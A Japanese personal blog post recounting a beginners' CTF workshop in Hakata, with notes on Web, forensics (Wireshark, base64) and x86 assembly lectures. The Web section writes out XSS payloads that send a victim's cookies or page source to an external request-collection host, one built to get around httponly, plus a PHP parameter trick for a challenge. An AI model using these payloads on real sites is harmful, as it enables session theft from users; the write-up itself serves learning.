読者です 読者をやめる 読者になる 読者になる

Calmery.me

みっかぼうずにならないようがんばる

CTF for ビギナーズ 2016 博多に参加してきました

以前から興味があった CTF のイベントがあるということで富士通株式会社九州支部で行われた CTF for ビギナーズ 博多に参加してきました.
f:id:calmery:20160716231940j:plain
Web 講義,フォレンジック講義,バイナリ講義が各60分ずつ,その後 CTF 演習がありました.ビギナーズというだけあって,わかりやすいというか,簡単なところからやっていただいたので良かったです.

Web 講義

まず初めは清水郁実さん(\ (@_193s) | Twitter)の Web 講義.CTF における Web とは Web アプリケーションの脆弱性を突く問題や Web 技術に関する問題が多い.フラグとなる文字列を見つけることは他と同じ.

今回は XSS のお話でした.Cookie を奪取したり.Cookie に httponly という属性が用意されているのは知らなかった.httponly を使用すれば document.cookie からのアクセスを制限できる.

演習で使用した Web サイトのメインページにはログインしたユーザ ID とパスワードが表示されている.まずそんなことはありえないだろうが演習なので気にしてはいけない.RequestBin — Collect, inspect and debug HTTP requests and webhooks を使用してリクエストを受け取った.管理者へのメッセージの送信欄にコードを記述する.ここで送信したメッセージは管理者のブラウザでそのまま表示される.通常はここで適切にエスケープしたりと対策を行う必要がある.だがここでは対策されていないため脆弱性となっている.

location = 'http://requestb.in/~?' + document.cookie

このメインページに httponly が付与されていた場合,上記の方法が利用できないため以下のように Ajax を利用しページのソースコード自体を入手,リクエストを送信する.

xhr = new XMLHttpRequest()
xhr.open( 'GET', '/' )
xhr.onload = function(){
    location =  'http://requestb.in/~?' + encodeURIComponent( this.responseText )
}
xhr.send()

これを見ると httponly は気休めにしかならないことがわかる.高得点問題では他の脆弱性との合わせ技でくることもあるらしい.

フォレンジック講義

次は向佐祐貴さん(進級人間 (@a_r_g_v) | Twitter)のフォレンジック講習.
フォレンジックってなんだと思ってしまった.

コンピュータやネットワークシステムのログや記録,状態を詳細に調査し,過去に起こったことを立証する証拠を集めることを意味します.

はてなの引用,こういうことらしい.CTF においては与えられたファイルから証拠を探す,復元することがこれにあたる.今回は Wireshark を使い pcap ファイルをいじり倒した.実際に使ってみたところ.
f:id:calmery:20160717224550p:plain
ファイルに FLAG という文字列が含まれている場合,ターミナルからでも探せそう.

$ strings lec1.pcap | grep FLAG
FLAG{poe}

Display Filter で必要な情報だけを取り出したりもできる.

Filter 意味
http http プロトコル
tcp.port == 80 TCP ポートが 80
ip.addr == 127.0.0.1 IP アドレスが 127.0.0.1

必要に応じて使い分ける必要がありそう.Display Filter では and や or,以上,以下などの演算子も利用できる.

また TCP Stream を使うと 1 つのコネクションでやり取りされた情報を見ることができる.パケットを右クリック,追跡の TCP Stream から利用する.
f:id:calmery:20160717225222p:plain
パケットを読む際はシナリオを意識するといいらしい.登場人物(IP アドレス),どういうプロトコル,何をしようとしているとか.

送受信されているデータは base64エンコードされている場合もある.

echo STRING | base64 --d

こうやってデコードする.エンコードされていると grep などで調べようがない.特徴としては末尾に「=」が付いていること.またパーセントエンコーディングという URI において使用できない文字を使用できる文字に置き換えるエンコードが行われている場合もある.これは nfk コマンドでデコードできる.こんなコマンドがあることは知らなかった.

$ echo STRING | nkf --url-input

次に Wireshark の統計の機能について簡単にまとめる.

Protocol Hierarchy Statistics Statistics -> Protocol Hierarchy プロトコルがパケットに占める割合を表示する
Conversations Statistics -> Conversations 誰と誰が通信しているのかを表示する
Apply Filter Apply as Filter -> Selected 選択中の要素から Display Filter を作成する

Protocol Hierarchy Statistics はどのプロトコルでの通信が少ないかといったことを簡単に確認できる.これならこのプロトコルが使用されているだろうと推測,絞り込んでいく.

最後に Wireshark でのファイルの抽出.
ファイルを受信,送信しているパケットを選択.右クリックで Export Packets Bytes でパケットからファイルを抽出できる.ファイルの拡張子がわからない場合もあるのでマジックナンバーなどはメモしておいたほうがよさそう.

あとはコマンドを幾つか覚えておくといい.

file ファイルの種類
binwalk ファイルが入れ子になっている場合に有用.-e で抽出もできる
exiftool メタ情報の確認,更新
strings ファイルの中を表示

バイナリ講義

バイナリ(泣)

ぶっちゃけよく分からない.だって難しいんだもん.ELF バイナリとは Executable and Linkable Format とかいうなんかかっこいい名前を省略したもの.多くの Linux 系,BSD 系の実行バイナリ形式として採用されているらしい.演習ファイルは key を入力し正解であれば次の key の入力へ,不正解であれば処理が中断するという処理の key を自身で見つけ出すというもの.

命令の名前がよくわからなくなる.
mov 命令は値の移動.移動元の数値に変化はない.メモリの参照には大括弧を使う.

mov eax, ebx
mov eax, [ebx]
mov [eax], ebx

lea 命令は同じく代入命令.ソースオペランドのアドレスを計算して読み込む.以下の二つは互いに同じ意味となる.

lea eax, [ebx+4]
mov eax, ebx
add eax, 4


次にスタック操作命令.push 命令は即値,またレジスタの値をスタックに保存する.pop 命令,スタックから値をレジスタに取り出す.

まだまだある.算術演算命令.add 命令は値の加算を行う.

add [ebo-0x4], 0x20

メモリの ebp-0x4 番地の値に 0x20 を加算する.
sub 命令は値の減算を行う.

sub [ebp-0x4], 0x20

基本的に add と同じ.
他にも乗算を行う imul命令 や除算を行う idiv命令,インクリメントの inc命令,デクリメントの dec命令 などがある.

次に論理演算命令.not 命令は否定,and 命令論理積or 命令論理和xor 命令排他的論理和neg 命令は正負反転を表す.

最後にシフト演算命令.shl 命令は左にシフト(2^n倍)し,shr 命令は右にシフト(2^(-1)倍)する.

わかりにくいので表にまとめる.

命令 処理
mov 代入
lea 代入
push スタック,保存
pop スタック,取り出し
add 加算
sub 減算
imul 乗算
idiv 除算
inc インクリメント
dec デクリメント
not 否定
and 論理積
or 論理和
xor 排他的論理和
neg 正負反転
shl 左シフト
shr 右シフト

ここからは演習の内容をまとめる.演習では終了時点で eax に格納されている値を求める.

0804861a <Stage1>:
 804861a:       55                      push   ebp
 804861b:       89 e5                   mov    ebp,esp
 804861d:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 8048620:       c7 00 e8 88 04 08       mov    DWORD PTR [eax],0x80488e8
 8048626:       90                      nop
 8048627:       90                      nop
 8048628:       b8 09 00 00 00          mov    eax,0x9
 804862d:       8d 58 03                lea    ebx,[eax+0x3]
 8048630:       c0 e0 02                shl    al,0x2
 8048633:       30 c3                   xor    bl,al
 8048635:       89 d9                   mov    ecx,ebx
 8048637:       29 c1                   sub    ecx,eax
 8048639:       49                      dec    ecx
 804863a:       0f af c1                imul   eax,ecx
 804863d:       90                      nop
 804863e:       90                      nop
 804863f:       5d                      pop    ebp
 8048640:       c3                      ret   

途中に出てくる al や bl はレジスタのことらしい.al や bl に対しての演算がどのように影響してくるのかよくわからない.上記の命令と照らし合わせながら解いてみる.

0x08048628 C言語 eax ebx ecx
mov eax, 0x9 eax = 9 9
lea ebx, [eax+0x3] ebx = eax + 3 9 12
shl al, 0x2 al <<= 2 36 12
xor bl, al bl ^= al 36 40
mov ecx, ebx ecx = ebx 36 40 40
sub ecx, eax ecx -= eax 36 40 4
dec ecx ecx-- 36 40 3
imul eax, ecx eax *= ecx 108 40 3

このとき,eax の最後の値は 108 となる.

次にスタックを利用する.esp レジスタはスタックの一番上を指す.データを積んだ分だけ esp は減っていく.ebp レジスタは関数内でのスタックの底を指す.

08048641 <Stage2>:
 8048641:       55                      push   ebp
 8048642:       89 e5                   mov    ebp,esp
 8048644:       83 ec 10                sub    esp,0x10
 8048647:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 804864a:       c7 00 ef 88 04 08       mov    DWORD PTR [eax],0x80488ef
 8048650:       90                      nop
 8048651:       90                      nop
 8048652:       c7 45 f8 01 00 00 00    mov    DWORD PTR [ebp-0x8],0x1
 8048659:       83 45 f8 03             add    DWORD PTR [ebp-0x8],0x3
 804865d:       8b 45 f8                mov    eax,DWORD PTR [ebp-0x8]
 8048660:       01 c0                   add    eax,eax
 8048662:       89 45 fc                mov    DWORD PTR [ebp-0x4],eax
 8048665:       8b 45 fc                mov    eax,DWORD PTR [ebp-0x4]
 8048668:       8d 50 03                lea    edx,[eax+0x3]
 804866b:       8b 45 f8                mov    eax,DWORD PTR [ebp-0x8]
 804866e:       0f af c2                imul   eax,edx
 8048671:       89 45 f8                mov    DWORD PTR [ebp-0x8],eax
 8048674:       90                      nop
 8048675:       90                      nop
 8048676:       c9                      leave  
 8048677:       c3                      ret    

局所変数を使い置き換える.

DWORD PTR [ebp-0x8] => X
DWORD PTR [ebp-0x4] => Y

これにより以下のようになる.

 8048652:       c7 45 f8 01 00 00 00    mov    X,0x1
 8048659:       83 45 f8 03             add    X,0x3
 804865d:       8b 45 f8                mov    eax,X
 8048660:       01 c0                   add    eax,eax
 8048662:       89 45 fc                mov    Y,eax
 8048665:       8b 45 fc                mov    eax,Y
 8048668:       8d 50 03                lea    edx,[eax+0x3]
 804866b:       8b 45 f8                mov    eax,X
 804866e:       0f af c2                imul   eax,edx
 8048671:       89 45 f8                mov    X,eax

見やすくなっているのだろうか.というかもうこれは慣れなんじゃないだろうか.

0x08048652 C言語 eax edx X Y
mov X,0x1 X = 1 1
add X,0x3 X += 3 4
mov eax,X eax = X 4 4
add eax,eax eax += eax 8 4
mov Y,eax Y = eax 8 4 8
mov eax,Y eax = Y 8 4 8
lea edx,[eax+0x3] edx = eax + 3 8 11 4 8
mov eax,X eax = X 4 11 4 8
imul eax,edx eax *= edx 44 11 4 8
mov X,eax X = eax 44 11 44 8

結果は 44 となる.

次は分岐命令などを使った実行制御の演習.

命令 意味
je Jump if Equal
jne Jump if Not Equal
jg Jump if Great
jge Jump if Great or Equal
jl Jump if Less
jle Jump if Less or Equal

その他にもあるみたい.

ループ命令は cmp 命令と分岐命令を使用して行う.

for( i=0; i<=0x1f; i++ )

を表すときには,

mov [ebp+var_4], 0
cmp [ebp+var_4], 0x1f
add [ebp+var_4], 1

となる.実際に見ていく.

08048678 <Stage3>:
 8048678:       55                      push   ebp
 8048679:       89 e5                   mov    ebp,esp
 804867b:       83 ec 10                sub    esp,0x10
 804867e:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 8048681:       c7 00 f6 88 04 08       mov    DWORD PTR [eax],0x80488f6
 8048687:       90                      nop
 8048688:       90                      nop
 8048689:       c7 45 fc 01 00 00 00    mov    DWORD PTR [ebp-0x4],0x1
 8048690:       c7 45 f8 00 00 00 00    mov    DWORD PTR [ebp-0x8],0x0
 8048697:       eb 0a                   jmp    80486a3 <Stage3+0x2b>
 8048699:       8b 45 fc                mov    eax,DWORD PTR [ebp-0x4]
 804869c:       01 45 f8                add    DWORD PTR [ebp-0x8],eax
 804869f:       83 45 fc 01             add    DWORD PTR [ebp-0x4],0x1
 80486a3:       83 7d fc 10             cmp    DWORD PTR [ebp-0x4],0x10
 80486a7:       7e f0                   jle    8048699 <Stage3+0x21>
 80486a9:       8b 45 f8                mov    eax,DWORD PTR [ebp-0x8]
 80486ac:       90                      nop
 80486ad:       90                      nop
 80486ae:       c9                      leave  
 80486af:       c3                      ret    

そろそろわけわからなくなってきた.スライド通り,わかりやすいように置き換える.

var_4 : DWORD PTR [ebp-0x4] => i
var_8 : DWORD PTR [ebp-0x8] => X

処理を追うとこうなっているらしい.

0x08048689 C言語 eax i X
mov i, 0x1 i = 1 1
mov X, 0x0 X = 0 1 0
jmp 80486a3 goto 80486a3 1 0
0x08048699 C言語 eax i X
mov eax, i eax = i 1 1 0
add X, eax X += eax 1 1 1
add i, 0x1 i += 1 1 2 1
0x080486a3 C言語 eax i X
cmp i, 0x10 for( i<=0x10 ) 1 0
jle 8048699 goto 8048699 1 0

はてな記法での表の書き方がいまいちよくわからないのでスライドとは少し違うところがある.1 つめから 3 つめに飛び,最後に 2 つめに飛ぶ.慣れればどうってことないのかな.読むのにすごい時間がかかるというか読めなさそう.

ループは合計で 16 回行われる

n eax i X
1 1 2 1
2 2 3 3
15 15 16 120
16 16 17 136

途中は省略した.結果は 136 となる.

次は関数.call 命令でスタックに積んだ引数を利用し関数を実行する.

func( a, b, c )

は以下のようになる.

sub esp, 0xc
mov [esp], a
mov [esp+0x4], b
mov [esp+0x8], c
call func

なるほど(?)
f:id:calmery:20160717223910j:plain
call 命令は関数から戻るためのアドレスを自動で push する.

080486b0 <Stage4>:
 80486b0:       55                      push   ebp
 80486b1:       89 e5                   mov    ebp,esp
 80486b3:       83 ec 18                sub    esp,0x18
 80486b6:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 80486b9:       c7 00 fd 88 04 08       mov    DWORD PTR [eax],0x80488fd
 80486bf:       90                      nop
 80486c0:       90                      nop
 80486c1:       c7 44 24 08 03 00 00 00 mov    DWORD PTR [esp+0x8],0x3
 80486c9:       c7 44 24 04 fb ff ff ff mov    DWORD PTR [esp+0x4],0xfffffffb
 80486d1:       c7 04 24 0b 00 00 00    mov    DWORD PTR [esp],0xb
 80486d8:       e8 07 00 00 00          call   80486e4 <Stage4_subfunc>
 80486dd:       83 c0 03                add    eax,0x3
 80486e0:       90                      nop
 80486e1:       90                      nop
 80486e2:       c9                      leave  
 80486e3:       c3                      ret    

080486e4 <Stage4_subfunc>:
 80486e4:       55                      push   ebp
 80486e5:       89 e5                   mov    ebp,esp
 80486e7:       83 ec 10                sub    esp,0x10
 80486ea:       90                      nop
 80486eb:       90                      nop
 80486ec:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 80486ef:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax
 80486f2:       8b 45 0c                mov    eax,DWORD PTR [ebp+0xc]
 80486f5:       89 45 f8                mov    DWORD PTR [ebp-0x8],eax
 80486f8:       8b 45 10                mov    eax,DWORD PTR [ebp+0x10]
 80486fb:       89 45 fc                mov    DWORD PTR [ebp-0x4],eax
 80486fe:       90                      nop
 80486ff:       8b 45 f8                mov    eax,DWORD PTR [ebp-0x8]
 8048702:       01 45 f4                add    DWORD PTR [ebp-0xc],eax
 8048705:       8b 45 f4                mov    eax,DWORD PTR [ebp-0xc]
 8048708:       29 45 fc                sub    DWORD PTR [ebp-0x4],eax
 804870b:       8b 45 f8                mov    eax,DWORD PTR [ebp-0x8]
 804870e:       0f af 45 fc             imul   eax,DWORD PTR [ebp-0x4]
 8048712:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax
 8048715:       90                      nop
 8048716:       90                      nop
 8048717:       c9                      leave  
 8048718:       c3                      ret 

引数はこんな感じらしい.

mov DWORD PTR [esp+0x8], 0x3
mov DWORD PTR [esp+0x4], 0xfffffffb
mov DWORD PTR [esp], 0xb
call 80486e1 <Stage4_subfunc>
add eax, 0x3

わかりにくいので.

引数
[esp] 11
[esp+0x4] -5
[esp+0x8] 3

結果として Stage4_subfunc( 11, -5, 3 ) と同じ意味になる.
先ほどの演習を解くために置き換える.

DWORD PTR [ebp-0xc] => X
DWORD PTR [ebp-0x8] => Y
DWORD PTR [ebp-0x4] => Z
mov eax, DWORD PTR [ebp+0x8]
mov X, eax
mov eax, DWORD PTR [ebp+0xc]
mov Y, eax
mov eax, DWORD PTR [ebp+0x10]
mov Z, eax

このときスタックはこうなっている.

X -0xC
Y -0x8
Z -0x4
old_ebp ebp
0x080486dd +0x4
11 +0x8
-5 +0xC
3 +0x10

この Stage4_subfunc 関数の処理を追ってみる.

0x080486fe C言語 eax X Y Z
nop 11 -5 3
mov eax, Y eax = Y -5 11 -5 3
add X, eax X += eax -5 6 -5 3
mov eax, X eax = X 6 6 -5 3
sub Z, eax Z -= eax 6 6 -5 3
mov eax, Y eax = Y -5 6 -5 -3
imul eax, Z eax *= Z 15 6 -5 -3
mov X, eax X = eax 15 15 -5 -3

Stage4_subfunc を抜けた後は add 命令が行われている.

0x080486fb eax
call 80486e4 15
add eax, 0x3 18

結果は 18 となる.なるほどわからん.ほとんどスライドの内容を丸写ししてるだけになっている.ごめんなさい.でも自分で読んでみるのも楽しかった.GUI のソフトもあるらしい.IDA free/IDA demo というもの.視覚的にわかりやすくなるのはとてもありがたい.

CTF 演習

感想としてはめちゃくちゃ楽しい.開発は飽き性の自分との戦いのような気がしてならないが CTF は周りの人と競い合うので楽しい.やはりゲーム感覚で行えるところがいいのでしょうか.解けない問題があるとすごい悔しい.
f:id:calmery:20160716232213p:plain
f:id:calmery:20160716234140p:plain
1100 点で 8 位.ビギナーズですし解ける問題もあったので良かった.右下は全滅している.Web 問題の PHP! PHP! PHP! はどこかで解いたような問題で,後々見てみると ksnctf に似たような問題があった.

PHP! PHP! PHP! は単純にパラメータをつけてあげる.

?var1[]=&var2=1e3

エクスポートできるかな?は謎のテキストファイルをエクスポートしてデコードしたら出てきた.

$ echo 'Y3RmNGJ7NTM2ZGFjMzcxYWE2NTJmODY1YzIwYWJlN2I0MDk0ZGJ9' | base64 --d
ctf4b{536dac371aa652f865c20abe7b4094db}

この 2 つ,Web と Forensics の 200 点問題は以前やったことがあった.ちゃんと解いた問題はメモしておいたほうがよさそう.すぐ忘れてしまう.あと,もう少し落ち着いて解いたほうがよかった.ビギナーズですし問題が簡単に作ってあるのだとは思う.それでも解けると楽しい.いやこれ楽しいです.

次の日,17日の SECCON はハードウェア CTF ということで今回は見送り.でも大会に出てみるのも絶対に楽しい.次は出てみたい.

CTF for ビギナーズの後は博多駅でもつ鍋食べました.
f:id:calmery:20160718001317j:plain
ラーメンを投入!
f:id:calmery:20160718001451j:plain
とても美味しかった.